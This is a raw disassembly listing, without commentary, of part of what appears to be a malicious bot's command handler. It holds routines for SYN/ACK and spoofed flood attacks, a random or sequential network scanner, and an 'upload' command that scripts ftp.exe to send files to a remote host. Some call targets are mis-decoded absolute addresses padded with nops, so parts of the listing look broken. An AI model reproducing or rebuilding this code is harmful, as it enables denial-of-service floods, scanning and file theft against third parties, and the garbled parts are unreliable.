		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4C92AC
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4C931C
		lea	eax, [ebp+var_448C]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_568C]
		push	eax
		push	esi
		call	dword_4C9354
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4C931C
		push	esi
		call	dword_4C939C
		call	dword_4C925C
		lea	eax, [ebp+var_458C]
		push	eax
		push	offset unk_42AF00


loc_406C33:				; CODE XREF: sub_401AC7+2E4Fj
					; sub_401AC7+65CFj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006


loc_406C3F:				; CODE XREF: sub_401AC7+241Bj
		add	esp, 0Ch


loc_406C42:				; CODE XREF: sub_401AC7+4483j
					; sub_401AC7+44DDj ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406C63
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h


loc_406C63:				; CODE XREF: sub_401AC7+2955j
					; sub_401AC7+29A8j ...
		mov	esi, [ebp+arg_24]


loc_406C66:				; CODE XREF: sub_401AC7+6848j
					; sub_401AC7+7750j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE
		pop	ecx
		mov	eax, esi
		jmp	loc_401F6F
; ---------------------------------------------------------------------------


loc_406C7A:				; CODE XREF: sub_401AC7+5016j
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CA4
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40724F


loc_406CA4:				; CODE XREF: sub_401AC7+51C4j
		push	[ebp+esi+var_7C]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41BEF9
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_410A9D
		jmp	loc_409640
; ---------------------------------------------------------------------------


loc_406CD2:				; CODE XREF: sub_401AC7+4FE8j
					; sub_401AC7+4FFFj
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C100
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C7E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_406D35
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D35
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D35
		push	offset unk_42AEB8
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_406D35:				; CODE XREF: sub_401AC7+5234j
					; sub_401AC7+524Bj ...
		push	[ebp+arg_10]
		call	sub_41BEF9
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1250],	eax
		jle	loc_406E6A
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C100
		push	[ebp+arg_18]
		lea	eax, [ebp+var_13D8]
		push	esi
		push	eax
		call	sub_41C100
		push	[ebp+arg_0]
		call	sub_41BEF9
		mov	[ebp+var_1254],	eax
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_124C],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13DC],	eax
		lea	eax, [ebp+var_12D8]
		push	esi
		push	eax
		call	sub_41C100
		mov	eax, [ebp+var_4]
		add	esp, 28h
		cmp	[ebp+var_124C],	ebx
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1244],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406DCC
		mov	eax, offset aNormal ; "Normal"


loc_406DCC:				; CODE XREF: sub_401AC7+52FEj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset unk_42AE74
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C100
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B3AD
		add	esp, 2Ch
		mov	[ebp+var_1258],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13DC]
		push	ebx
		push	eax
		push	offset dword_414974
		push	ebx
		push	ebx
		call	near ptr 26805C5h
		nop
		mov	ecx, [ebp+var_1258]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_406E4A


loc_406E34:				; CODE XREF: sub_401AC7+5381j
		cmp	[ebp+var_1240],	ebx
		jnz	loc_4081DE
		push	32h
		call	near ptr 268051Bh
		nop
		jmp	short loc_406E34
; ---------------------------------------------------------------------------


loc_406E4A:				; CODE XREF: sub_401AC7+536Bj
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_42AE3C


loc_406E56:				; CODE XREF: sub_401AC7+20E5j
					; sub_401AC7+2EA4j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006


loc_406E62:				; CODE XREF: sub_401AC7+54DDj
		add	esp, 0Ch
		jmp	loc_4081DE
; ---------------------------------------------------------------------------


loc_406E6A:				; CODE XREF: sub_401AC7+527Fj
		push	offset unk_42AE04


loc_406E6F:				; CODE XREF: sub_401AC7+1FAEj
					; sub_401AC7+1FC4j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		jmp	loc_4081DE
; ---------------------------------------------------------------------------


loc_406E82:				; CODE XREF: sub_401AC7+4F5Cj
					; sub_401AC7+4F73j ...
		cmp	dword_4C93F4, ebx
		jnz	loc_406F8E
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_FF8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_1090]
		push	edi
		push	eax
		call	sub_41BD70
		push	[ebp+arg_18]
		call	sub_41BEF9
		push	[ebp+arg_0]
		mov	[ebp+var_1010],	eax
		call	sub_41BEF9
		push	[ebp+arg_10]
		mov	[ebp+var_100C],	eax
		call	sub_41BEF9
		push	7Fh
		mov	[ebp+var_1008],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_1110]
		push	eax
		call	sub_41BD70
		push	[ebp+var_1008]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1114],	eax
		lea	eax, [ebp+var_1090]
		push	[ebp+var_100C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_1010]
		push	offset unk_42ADBC
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B3AD
		add	esp, 48h
		mov	[ebp+var_1000],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1114]
		push	ebx
		push	eax
		push	offset byte_413DCB
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, [ebp+var_1000]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_406F7D


loc_406F67:				; CODE XREF: sub_401AC7+54B4j
		cmp	[ebp+var_FF4], ebx
		jnz	loc_4081DE
		push	32h
		call	near ptr 268051Bh
		nop
		jmp	short loc_406F67
; ---------------------------------------------------------------------------


loc_406F7D:				; CODE XREF: sub_401AC7+549Ej
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_42AD84
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_406F8E:				; CODE XREF: sub_401AC7+53C1j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41BD70
		jmp	loc_406E62
; ---------------------------------------------------------------------------


loc_406FA9:				; CODE XREF: sub_401AC7+4F2Ej
					; sub_401AC7+4F45j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	[ebp+arg_0]
		push	offset unk_42AD30
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		push	[ebp+arg_0]
		call	sub_41B960
		push	[ebp+arg_18]
		mov	edi, eax
		call	sub_41B960
		push	[ebp+arg_20]
		add	edi, eax
		call	sub_41B960
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41B960
		add	eax, [ebp+var_C]
		push	[ebp+arg_10]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41C080
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41BEF9
		mov	edi, [ebp+arg_20]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_1C], ebx
		jle	short loc_4070A3


loc_40702C:				; CODE XREF: sub_401AC7+5589j
		push	[ebp+arg_C]
		push	[ebp+arg_18]
		push	edi
		call	sub_418AA2
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_20], eax
		jz	short loc_407054
		cmp	eax, ebx
		jnz	short loc_407073
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_1C]
		cmp	eax, [ebp+arg_14]
		jl	short loc_40702C
		jmp	short loc_4070AC
; ---------------------------------------------------------------------------


loc_407054:				; CODE XREF: sub_401AC7+557Aj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42ACF8


loc_40705D:				; CODE XREF: sub_401AC7+55EEj
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h
		jmp	loc_40724F
; ---------------------------------------------------------------------------


loc_407073:				; CODE XREF: sub_401AC7+557Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ACC4
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 20h


loc_4070A3:				; CODE XREF: sub_401AC7+5563j
		cmp	[ebp+arg_20], ebx
		jnz	loc_40724F


loc_4070AC:				; CODE XREF: sub_401AC7+558Bj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AC90
		jmp	short loc_40705D
; ---------------------------------------------------------------------------


loc_4070B7:				; CODE XREF: sub_401AC7+4EE9j
					; sub_401AC7+4F00j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_C68], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_D00]
		push	edi
		push	eax
		call	sub_41BD70
		push	[ebp+arg_18]
		call	sub_41BEF9
		push	[ebp+arg_0]
		mov	[ebp+var_C80], eax
		call	sub_41BEF9
		push	[ebp+arg_10]
		mov	[ebp+var_C7C], eax
		call	sub_41BEF9
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C78], eax
		jz	short loc_40711C
		push	esi
		call	sub_41BEF9
		pop	ecx
		mov	[ebp+var_C74], eax
		jmp	short loc_407122
; ---------------------------------------------------------------------------


loc_40711C:				; CODE XREF: sub_401AC7+5644j
		mov	[ebp+var_C74], ebx


loc_407122:				; CODE XREF: sub_401AC7+5653j
		push	7Fh
		lea	eax, [ebp+var_D80]
		push	[ebp+var_88]
		push	eax
		call	sub_41BD70
		push	[ebp+var_C78]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_D00]
		mov	[ebp+var_D84], esi
		push	[ebp+var_C7C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C80]
		push	offset unk_42AC48
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B3AD
		add	esp, 30h
		mov	[ebp+var_C70], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D84]
		push	ebx
		push	eax
		push	offset byte_413F57
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, [ebp+var_C70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_4071C2


loc_4071B0:				; CODE XREF: sub_401AC7+56F9j
		cmp	[ebp+var_C64], ebx
		jnz	short loc_4071DD
		push	32h
		call	near ptr 268051Bh
		nop
		jmp	short loc_4071B0
; ---------------------------------------------------------------------------


loc_4071C2:				; CODE XREF: sub_401AC7+56E7j
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_42AC10


loc_4071CE:				; CODE XREF: sub_401AC7+4D54j
					; sub_401AC7+621Ej ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_4071DD:				; CODE XREF: sub_401AC7+4D38j
					; sub_401AC7+56EFj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40830C
		push	ebx
		push	[ebp+var_4]


loc_4071EA:				; CODE XREF: sub_401AC7+2271j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4081FB
; ---------------------------------------------------------------------------


loc_4071FD:				; CODE XREF: sub_401AC7+4EBBj
					; sub_401AC7+4ED2j
		push	0Bh
		call	sub_40B5F5
		push	[ebp+arg_18]
		mov	[ebp+arg_1C], eax
		call	sub_41BEF9
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 320h
		jle	loc_4073C5
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ABD4
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 20h


loc_40724F:				; CODE XREF: sub_401AC7+51D7j
					; sub_401AC7+55A7j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401F6C
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409643
		push	4
		push	esi
		call	sub_416C63
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40729A
		push	esi
		push	offset unk_42ABAC


loc_407286:				; CODE XREF: sub_401AC7+7985j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		jmp	loc_403F81
; ---------------------------------------------------------------------------


loc_40729A:				; CODE XREF: sub_401AC7+57B7j
		call	near ptr 26A0729h
		nop
		push	eax
		call	sub_41C058
		pop	ecx
		call	sub_41C062
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C062
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C062
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_50FC]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E5C]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2E5C]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41BC88
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401F6C
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41C56F
		push	[ebp+arg_24]
		call	sub_41B9DB
		lea	eax, [ebp+var_2E5C]
		push	eax
		lea	eax, [ebp+var_4CF8]
		push	offset aSS_1	; "-s:%s"
		push	eax
		call	sub_41C006
		add	esp, 2Ch
		lea	eax, [ebp+var_4CF8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4C9270
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_407364
		push	offset unk_42AB3C
		jmp	short loc_407369
; ---------------------------------------------------------------------------


loc_407364:				; CODE XREF: sub_401AC7+5894j
		push	offset unk_42AB0C


loc_407369:				; CODE XREF: sub_401AC7+589Bj
		call	sub_41C006
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407392
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h


loc_407392:				; CODE XREF: sub_401AC7+58ADj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE


loc_40739E:				; CODE XREF: sub_401AC7+58FCj
		lea	eax, [ebp+var_2E5C]
		push	4
		push	eax
		call	sub_416C63
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401F6C
		lea	eax, [ebp+var_2E5C]
		push	eax
		call	sub_41C545
		jmp	short loc_40739E
; ---------------------------------------------------------------------------


loc_4073C5:				; CODE XREF: sub_401AC7+5752j
		push	edi
		call	sub_41BEF9
		push	[ebp+arg_18]
		mov	[ebp+var_370], eax
		call	sub_41BEF9
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41BEF9
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_4073FE
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_4073FE:				; CODE XREF: sub_401AC7+592Cj
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40740B
		mov	[ebp+var_36C], ecx


loc_40740B:				; CODE XREF: sub_401AC7+593Cj
		push	[ebp+arg_10]
		call	sub_41BEF9
		cmp	eax, 320h
		pop	ecx
		mov	[ebp+var_368], eax
		jbe	short loc_40742B
		mov	[ebp+var_368], 320h


loc_40742B:				; CODE XREF: sub_401AC7+5958j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431808, ebx
		mov	[ebp+arg_1C], ebx
		jz	short loc_407481
		mov	[ebp+arg_24], offset dword_431808


loc_407444:				; CODE XREF: sub_401AC7+599Cj
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407467
		add	[ebp+arg_24], 40h
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_407444
		jmp	short loc_407481
; ---------------------------------------------------------------------------


loc_407467:				; CODE XREF: sub_401AC7+598Ej
		mov	eax, [ebp+arg_1C]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431808[ecx]
		mov	[ebp+var_370], ecx


loc_407481:				; CODE XREF: sub_401AC7+5974j
					; sub_401AC7+599Ej
		cmp	[ebp+var_370], ebx
		jnz	short loc_407493
		push	offset unk_42AAD8
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_407493:				; CODE XREF: sub_401AC7+59C0j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_4074CE
		cmp	byte ptr [edi],	23h
		jz	short loc_4074CE
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41C100
		push	78h
		push	edi
		call	sub_41C720
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_4075A8
; ---------------------------------------------------------------------------


loc_4074CE:				; CODE XREF: sub_401AC7+59D5j
					; sub_401AC7+59DAj
		cmp	[ebp+var_8FF], bl
		jnz	short loc_4074F0
		cmp	[ebp+var_8FE], bl
		jnz	short loc_4074F0
		cmp	[ebp+var_8EE], bl
		jnz	short loc_4074F0
		push	offset unk_42AAA4
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_4074F0:				; CODE XREF: sub_401AC7+5A0Dj
					; sub_401AC7+5A15j ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4C92A8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4C9390
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BD70
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_4075A2
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41C5B0
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407596


loc_407574:				; CODE XREF: sub_401AC7+5ACDj
		cmp	eax, ebx
		jz	short loc_407596
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41C5B0
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_407574


loc_407596:				; CODE XREF: sub_401AC7+5AABj
					; sub_401AC7+5AAFj
		mov	[ebp+var_344], 1
		jmp	short loc_4075A8
; ---------------------------------------------------------------------------


loc_4075A2:				; CODE XREF: sub_401AC7+5A85j
		mov	[ebp+var_344], ebx


loc_4075A8:				; CODE XREF: sub_401AC7+5A02j
					; sub_401AC7+5AD9j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41C100
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4075F9


loc_4075E6:				; CODE XREF: sub_401AC7+5B55j
		push	esi


loc_4075E7:				; CODE XREF: sub_401AC7+5B3Fj
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 0Ch
		jmp	short loc_407624
; ---------------------------------------------------------------------------


loc_4075F9:				; CODE XREF: sub_401AC7+5B1Dj
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407608
		cmp	byte ptr [eax],	23h
		jnz	short loc_407608
		push	eax
		jmp	short loc_4075E7
; ---------------------------------------------------------------------------


loc_407608:				; CODE XREF: sub_401AC7+5B37j
					; sub_401AC7+5B3Cj
		mov	esi, offset aF	; "#f"
		push	offset byte_43B4B8
		push	esi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4075E6
		mov	[ebp+var_3F4], bl


loc_407624:				; CODE XREF: sub_401AC7+5B30j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_407636
		mov	eax, offset aSequential	; "Sequential"


loc_407636:				; CODE XREF: sub_401AC7+5B68j
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA3C
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3AD
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C5E7
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_4076C4


loc_4076AE:				; CODE XREF: sub_401AC7+5BFBj
		cmp	[ebp+var_340], ebx
		jnz	loc_4081DE
		push	32h
		call	near ptr 268051Bh
		nop
		jmp	short loc_4076AE
; ---------------------------------------------------------------------------


loc_4076C4:				; CODE XREF: sub_401AC7+5BE5j
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_42AA04
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_4076D5:				; CODE XREF: sub_401AC7+4E8Dj
					; sub_401AC7+4EA4j
		push	edi
		call	sub_40A8E4
		push	[ebp+arg_18]
		mov	[ebp+var_4E0], eax
		call	sub_41BEF9
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41BEF9
		push	[ebp+arg_10]
		mov	[ebp+var_4EC], eax
		call	sub_41BEF9
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41BD70
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4C9390
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A9B4
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3AD
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset dword_40CA04
		push	ebx
		push	ebx
		call	near ptr 26805C5h
		nop
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_4077CA


loc_4077B4:				; CODE XREF: sub_401AC7+5D01j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403D2D
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_4077B4
; ---------------------------------------------------------------------------


loc_4077CA:				; CODE XREF: sub_401AC7+5CEBj
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_42A978
		jmp	loc_403D1E
; ---------------------------------------------------------------------------


loc_4077DB:				; CODE XREF: sub_401AC7+4E50j
					; sub_401AC7+4E67j
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		cmp	byte_43C258[eax], bl
		jz	loc_409643
		cmp	[ebp+var_C], ebx
		jz	loc_409643
		push	[ebp+arg_18]
		call	sub_41B960
		push	edi
		mov	esi, eax
		call	sub_41B960
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B960
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C080
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A96C
		push	eax
		call	sub_41C006
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_409643
		push	edi
		call	sub_41BEF9
		test	eax, eax
		pop	ecx
		jle	loc_409643
		push	edi
		call	sub_41BEF9
		cmp	eax, 400h
		pop	ecx
		jge	loc_409643
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		push	dword_43C24C[eax]
		call	sub_409862
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43C040[eax], 73h
		jnz	loc_409643
		push	esi
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43C258
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_2	; "[%s]	* %s %s"


loc_4078C3:				; CODE XREF: sub_401AC7+5EF6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		jmp	loc_404068
; ---------------------------------------------------------------------------


loc_4078ED:				; CODE XREF: sub_401AC7+4E22j
					; sub_401AC7+4E39j
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		cmp	byte_43C258[eax], bl
		jz	loc_409643
		cmp	[ebp+var_C], ebx
		jz	loc_409643
		push	[ebp+arg_18]
		call	sub_41B960
		push	edi
		mov	esi, eax
		call	sub_41B960
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B960
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C080
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409643
		push	edi
		call	sub_41BEF9
		test	eax, eax
		pop	ecx
		jle	loc_409643
		push	edi
		call	sub_41BEF9
		cmp	eax, 400h
		pop	ecx
		jge	loc_409643
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
